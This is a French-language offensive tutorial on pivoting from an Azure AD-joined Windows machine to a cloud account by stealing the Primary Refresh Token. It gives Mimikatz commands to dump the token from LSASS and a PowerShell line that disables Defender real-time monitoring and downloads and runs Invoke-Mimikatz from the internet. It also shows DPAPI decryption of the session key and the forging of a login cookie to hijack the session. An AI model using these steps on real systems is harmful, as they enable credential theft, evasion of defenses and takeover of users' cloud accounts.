Mouvements latéraux

Dans un contexte hybride, avec de l’On Prem et du Cloud, il est possible de rebondir d’un poste Windows vers un compte Cloud.

Dans un premier temps, il s’agit d’identifier si le poste est rattaché au tenant Azure avec la commande dsregcmd.exe /status. Si c’est le cas, le résultat sera le suivant :

+----------------------------------------------------------------------+
| Device State                                                         |
+----------------------------------------------------------------------+

             AzureAdJoined : YES
          EnterpriseJoined : NO
              DomainJoined : NO
               Device Name : $MACHINE_NAME

Il s’agira maintenant d’aller récupérer des identifiants pour retourner dans le contexte Azure.

Identifiants locaux

Il est possible de retrouver un Token d’accès localement au chemin suivant : C:\Users\$USERNAME\.Azure\accessTokens.json

Pass the PRT (Primary Refresh Token)

Un PRT est un token JWT délivré par Microsoft pour permettre l’authentification SSO pour toutes les applications.

Il contient deux claims spécifiques :

  • Device ID : identifie l’appareil sur lequel le PRT a été délivré
  • Session key : clé symétrique chiffrée, générée par le service d’authentification Microsoft Entra

Une fois qu’il est délivré, ce jeton est valide pendant 14 jours et renouvelé à chaque fois que l’utilisateur utile les services d’Entra ID.

Il est possible d’identifier la présence d’un PRT avec la commande Dsregcmd.exe /status. Si un PRT est présent, le retour sera le suivant :

Il est possible d’extraire le PRT de la mémoire lSASS avec Mimikatz :

Sekurlsa::cloudap

# Or in powershell
set-mppreference -exclusionpath (pwd) -disablerealtimemonitoring $true
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"sekurlsa::cloudap"'

Attention

Si l’appareil est doté d’un TPM, le PRT ne pourra pas être extrait

La clé de session se trouve dans la valeur KeyValue, et doit alors être déchiffrée au moyen de la clé maitresse DPAPI.

token::elevate
dpapi::cloudapkd /keyvalue:$KEY_VALUE /unprotect

Deux champs sont à prendre en compte dans le retour de Mimikatz : Context et Derived Key

Dpapi::cloudapkd /context:$CONTEXT /derivedkey:$DerivedKey /Prt:$PRT

Il est alors possible de générer des cookies PRT. Dans le navigateur, il suffit ensuite de clear tous les cookies présents sur le site login.microsoft.com et d’en créer un nouveau avec les informations suivantes:

  • Name : x-ms-RefreshTokenCredential
  • Value : valeur en sortie de la commande Mimikatz
  • Path : /
  • HttpOnly : true

A la réactualisation de la page, nous devrions alors être connecté.